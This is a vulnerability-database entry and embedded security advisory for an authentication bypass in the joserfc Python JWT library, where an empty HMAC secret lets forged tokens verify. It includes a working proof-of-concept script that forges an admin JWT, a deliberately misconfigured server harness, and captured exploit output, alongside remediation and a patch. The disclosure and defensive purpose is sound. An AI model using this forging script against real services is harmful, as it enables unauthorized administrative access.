Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify endpoint calling joserfc.jwt.decode
-
DeliveryForge JWT with admin claims
-
ExploitSign with empty HMAC key (b"")
-
ExecutionSend token in Authorization header
-
PersistServer verifies against empty secret
-
ImpactAuthentication bypass, act as forged user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication mechanism validation
MITRE ATT&CK
2 techniques across 2 tactics: Defense Evasion, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the application's HMAC verification key resolve to an empty string or None at joserfc.jwt.decode time - for example OctKey.import_key(os.environ.get('JWT_SECRET', '')) with the variable unset, a key-finder callable returning ''/None for an unknown kid, 'os.getenv("SECRET") or ""' style defaults, or a missing database/Redis row returning ''. When that condition holds, no authentication is required (CVSS PR:N) and the endpoint using HS256/HS384/HS512 is remotely reachable. What LIMITS exploitation: correctly-configured deployments with a non-empty secret are NOT vulnerable (the empty-key digest will not match), the vulnerable algorithm must be an HMAC family algorithm accepted by the decode call, and the only signal of the misconfiguration is a single easily-suppressed 'Key size should be >= 112 bits' SecurityWarning at import time. This is therefore not a default-configuration flaw but a misconfiguration-triggered total auth bypass. |
| Impact | This is a real, high-impact issue but its exploitability is gated by an operator-side precondition rather than being unconditional. The supplied CVSS 4.0 vector (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H, score 8.7) models it as trivially network-exploitable, while the advisory author's own CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:N/C:H/I:H/A:N, 7.4) uses AC:H precisely because the empty/None secret is a misconfiguration that must already be present - these two signals conflict on attack complexity, and the AC:H framing is the more honest one. No EPSS probability and no CISA KEV status were provided, so there is no evidence of mass or active exploitation; treat this as a latent time-bomb in misconfigured deployments rather than a spraying campaign target. The mitigating reality is that correctly-configured servers (non-empty secret) are unaffected, as the advisory's control run demonstrates (real 256-bit key → HTTP 401 BadSignatureError). Because the trigger condition (unset env var, missing DB/Redis row, key-finder fallback returning "") is silent and common, and because a POC exists, prioritize patching for any service using joserfc with runtime-sourced HMAC secrets. No SSVC decision data was supplied; automatability is high once the empty-secret state exists. |
| Exploit ScenarioDerived | An attacker targets an API that calls joserfc.jwt.decode with a secret loaded from an environment variable that operators forgot to set (JWT_SECRET defaults to ""). With no knowledge of any secret, the attacker crafts a JWT with claims such as {"sub":"attacker","admin":true} and signs it using HMAC-SHA256 with an empty key; the server computes the identical digest and returns HTTP 200 with admin privileges. A working PoC (attacker script plus WSGI server harness) is published in the advisory and reproduces against pip install joserfc==1.6.7. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Jul 17, 2026
Authentication bypass in the joserfc Python JOSE/JWT library (PyPI, versions <= 1.6.7) lets unauthenticated attackers forge valid HS256/HS384/HS512 tokens whenever the application's verification secret resolves to an empty string or None. Because HMACAlgorithm.verify feeds a zero-length key straight into hmac.new(b"", ...) and OctKey.import_key only warned (never rejected) empty material, an attacker who knows no secret can reproduce the exact digest with HMAC(key=b"") and pass hmac.compare_digest. Publicly available exploit code exists (working PoC in the advisory); the flaw is fixed in 1.6.8. This is the cross-language sibling of ruby-jwt CVE-2026-45363. No EPSS score or CISA KEV listing was provided; no public exploit-in-the-wild is claimed.
Earlier versions of this analysis (1)
Authentication bypass in the joserfc Python library (PyPI, versions <= 1.6.7) lets remote attackers forge valid HS256/HS384/HS512 JWTs whenever the application's verification secret resolves to an empty string or None. Because HMACAlgorithm.verify feeds the zero-length key straight into hmac.new(b'', ...) and OctKey.import_key only warns (never rejects) empty material, an attacker with no secret knowledge recomputes the identical HMAC digest and joserfc.jwt.decode accepts arbitrary forged claims (sub, admin, scopes, exp). A full working proof-of-concept is published in the advisory, though the flaw is gated on an operator-side misconfiguration (a secret sourced from an unset env var, missing DB/Redis row, or a '' fallback) rather than a default-config defect.
RemediationAI
Vendor-released patch: upgrade joserfc to 1.6.8 or later (pip install --upgrade 'joserfc>=1.6.8'), which makes OctKey.import_key raise ValueError('oct key material must not be empty') and adds defence-in-depth empty-key rejection in HMACAlgorithm.sign/verify per commit 86d00910b2b2d2d07503fee9b572906daefab7f1. See advisory https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh. If you cannot upgrade immediately, eliminate the trigger condition directly: audit every path that supplies the HMAC key and fail closed on empty material - replace patterns like OctKey.import_key(os.environ.get('JWT_SECRET', '')) with an explicit startup assertion that JWT_SECRET is set and >= 32 bytes, make key-finder callables raise instead of returning ''/None for unknown kid, and remove '... or ""' / cfg.get('secret', '') style defaults. Trade-off: adding a hard startup check will crash misconfigured services on boot rather than silently accepting forged tokens, which is the desired fail-safe behavior. As a stopgop you can also constrain the allowed algorithms list and ensure secrets come from a vault rather than optional env vars; note that simply raising SecurityWarning-to-error via Python's warnings filter is insufficient because the vulnerable length check only warns for <14 bytes and never fires for a zero-length key.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability lives in joserfc's RFC 7518 (JWA) implementation of HMAC-based JWS signing. HMACAlgorithm.sign/verify (src/joserfc/_rfc7518/jws_algs.py) call OctKey.get_op_key(...) and pass the result directly to Python's hmac.new(), which - unlike a real secret check - happily accepts a b"" key. OctKey.import_key (src/joserfc/_rfc7518/oct_key.py) contained a NIST SP 800-131A-inspired length check that only emitted a SecurityWarning for keys < 14 bytes (112 bits) and let a zero-length key fall through unrejected. CWE-287 (Improper Authentication) is the root class: signature verification with a known/empty key provides no cryptographic assurance of the token's origin, so any forged token verifies. The affected package is pkg:pip/joserfc. Peer libraries already guard this: PyJWT 2.13.0 rejects empty keys in prepare_key, ruby-jwt 3.2.0 added ensure_valid_key!, php-jwt rejects empty material in Key.__construct, and jjwt enforces a 256-bit minimum - joserfc had the length-warning logic but stopped at warn instead of reject.
Know when Redis gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Unauthenticated network attack (AV:N/PR:N/UI:N) but gated on the operator-side empty-secret misconfiguration, hence AC:H; forging identity yields high integrity and confidentiality impact, no availability effect.
Primary rating from Vendor (https://github.com/authlib/joserfc).
CVSS VectorVendor: https://github.com/authlib/joserfc
Lifecycle Timeline
2DescriptionCVE.org
Summary
joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None. HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key only emits a SecurityWarning when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns "", or a Hash.new("")-style default verifies attacker tokens forged with HMAC(key=b"", signing_input) because the attacker trivially reproduces the same digest with no secret knowledge.
This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated authlib.jose module by the same maintainer; filing this advisory against joserfc alongside a separate authlib advisory because the codebases are independent shipping artifacts on PyPI.)
Affected versions
joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No patched release.
Privilege required
Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to "" or None. Common patterns that produce this state in production:
OctKey.import_key(os.environ.get("JWT_SECRET", ""))- A key finder callable that returns
""/Nonefor an unknownkid - Default values like
os.getenv("SECRET") or "",cfg.get("secret", "") - Database / Redis row lookup that returns
""for a missing row
Vulnerable code
src/joserfc/_rfc7518/jws_algs.py:43-70:
class HMACAlgorithm(JWSAlgModel):
SHA256 = hashlib.sha256
SHA384 = hashlib.sha384
SHA512 = hashlib.sha512
def __init__(self, sha_type, recommended=False):
self.name = f"HS{sha_type}"
self.description = f"HMAC using SHA-{sha_type}"
self.recommended = recommended
self.hash_alg = getattr(self, f"SHA{sha_type}")
self.algorithm_security = sha_type
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)src/joserfc/_rfc7518/oct_key.py:52-63:
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if len(key.raw_value) < 14:
# https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return keyThe < 14 check only warns; len(key.raw_value) == 0 falls through and is returned to the caller. HMACAlgorithm.verify then calls hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()), and Python's hmac.new(b"", ...) accepts the empty key.
Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:
def ensure_valid_key!(key)
raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
raise_verify_error!('HMAC key cannot be empty') if key.empty?
endinvoked from both sign(signing_key:) and verify(verification_key:). PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) 0). firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a 256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the strongest existing length-warning logic but stops at < 14 bytes warn rather than 0 reject.
How an empty JWT_SECRET reaches hmac.new
- The application calls
joserfc.jwt.decode(value, key, algorithms=["HS256"])
where key = OctKey.import_key("") (or OctKey.import_key(b""), or any custom path that yields an OctKey whose raw_value is b"").
decode(src/joserfc/jwt.py:86-117) calls_decode_jws(...)→
deserialize_compact(value, key, algorithms, registry).
deserialize_compact(src/joserfc/jws.py) dispatches to
HMACAlgorithm.verify(signing_input, signature, key).
verifycallskey.get_op_key("verify")→ returnsb"".hmac.new(b"", signing_input, sha256).digest()is computed; the
attacker computed exactly that digest with the same empty key, so hmac.compare_digest returns True and decode succeeds.
No upstream nil-check, no length check, no schema rejection. The path is reached from the public joserfc.jwt.decode API.
Proof of concept
Attacker (no secret knowledge):
import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
"sub": "attacker", "admin": True,
"iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())Server harness:
# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server
def app(environ, start_response):
auth = environ.get("HTTP_AUTHORIZATION", "")
token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
key = OctKey.import_key(os.environ.get("JWT_SECRET", ""))
# default = ""
try:
tok = jwt.decode(token, key, algorithms=["HS256"])
c = tok.claims
body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
start_response("200 OK", [("Content-Type", "text/plain")])
return [body]
except Exception as e:
start_response("401 Unauthorized", [("Content-Type", "text/plain")])
return [("DENY: %s\n" % e).encode()]
make_server("127.0.0.1", 8383, app).serve_forever()End-to-end reproduction (against pip install joserfc==1.6.7)
# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
# state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py &
# listens on :8383
# 2. Run the attacker
./venv/bin/python attacker.pyCaptured run output (canonical pre-fix run, joserfc 1.6.7, poc-attacker-empty-20260523-150949.log):
forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=TrueControl (real 256-bit secret, poc-control-realkey-20260523-150959.log):
forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:Interpretation:
| Configuration | Observed | Expected |
|---|---|---|
JWT_SECRET unset (== "") | HTTP 200, admin=True (verified) | HTTP 401 |
JWT_SECRET = 256-bit value | HTTP 401, BadSignatureError | HTTP 401 |
The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.
Fix verification: with the suggested empty-key reject wired into HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects the same forged token with ValueError: HMAC key must not be empty.
Impact
- Complete authentication bypass on any service whose key finder resolves
to "" / None (env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub, admin, scopes, audience, expiry).
- The misconfiguration that triggers the bug is silent: the server does
not fail to boot, joserfc emits a single SecurityWarning ("Key size should be >= 112 bits") at OctKey.import_key time and then proceeds.
- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.
Suggested fix
Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard reject at len(key.raw_value) == 0, plus a defence-in-depth check in HMACAlgorithm.sign and HMACAlgorithm.verify after key.get_op_key(...):
# src/joserfc/_rfc7518/oct_key.py
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if not key.raw_value:
raise ValueError("oct key material must not be empty")
if len(key.raw_value) < 14:
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
# src/joserfc/_rfc7518/jws_algs.py
class HMACAlgorithm(JWSAlgModel):
...
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
if not op_key:
raise ValueError("HMAC key must not be empty")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
if not op_key:
raise ValueError("HMAC key must not be empty")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in prepare_key, plus the runtime length checks the underlying hmac primitive does not perform).
Fix PR
authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch fix/hmac-reject-empty-key, base main. URL: https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1
Credit
Reported by tonghuaroot.
Blast Radius
ecosystem impact- 4 pypi packages depend on joserfc (3 direct, 1 indirect)
Ecosystem-wide dependent count for version 1.6.8.
Executive ViewAI
The joserfc Python library (versions ≤1.6.7) allows attackers to forge authentication tokens without credentials if an application's secret key is misconfigured as empty or None. Publicly available exploit code exists, creating immediate authentication risk for any organization using affected library versions to validate user or service access.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Privilege escalation to root in the LiteSpeed User-End cPanel Plugin (versions 2.3 through before 2.4.5) lets attackers
UAF in Redis 8.2.1 via crafted Lua scripts by authenticated users. EPSS 12.4%. Patch available.
Authenticated Redis users with permission to run server-side Lua can trigger an integer overflow (CWE-190) in the bundle
It was discovered, that redis, a persistent key-value database, due to a packaging issue, is prone to a (Debian-specific
Memory Corruption was discovered in the cmsgpack library in the Lua subsystem in Redis before 3.2.12, 4.x before 4.0.10,
Redis before 2.8.21 and 3.x before 3.0.2 allows remote attackers to execute arbitrary Lua bytecode via the eval command.
A buffer overflow in Redis 3.2.x prior to 3.2.4 causes arbitrary code execution when a crafted command is sent. Rated cr
Authenticated Lua script execution in Redis 8.2.1 and earlier can be abused with a crafted long-string delimiter to trig
Authenticated remote code execution in OpenC3 COSMOS (Ruby gem 'openc3' versions 5.1.0 through 7.2.1) lets any logged-in
CVE-2025-46818 is a sandbox-escape flaw in Redis's embedded Lua scripting engine (all versions up to and including 8.2.1
Code injection in OneUptime monitoring via custom JS monitor using vm module. PoC and patch available.
RESP protocol command injection in Predis, the popular PHP client for Redis and Valkey, affects versions 3.0.0-RC1 throu
Same weakness CWE-287 – Improper Authentication
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| openSUSE Leap 16.0 | Fixed |
| openSUSE Tumbleweed | Fixed |
EUVD-2026-45281
GHSA-gg9x-qcx2-xmrh
NVD
CVE.org
EPSS
VulDB
Exploit-DB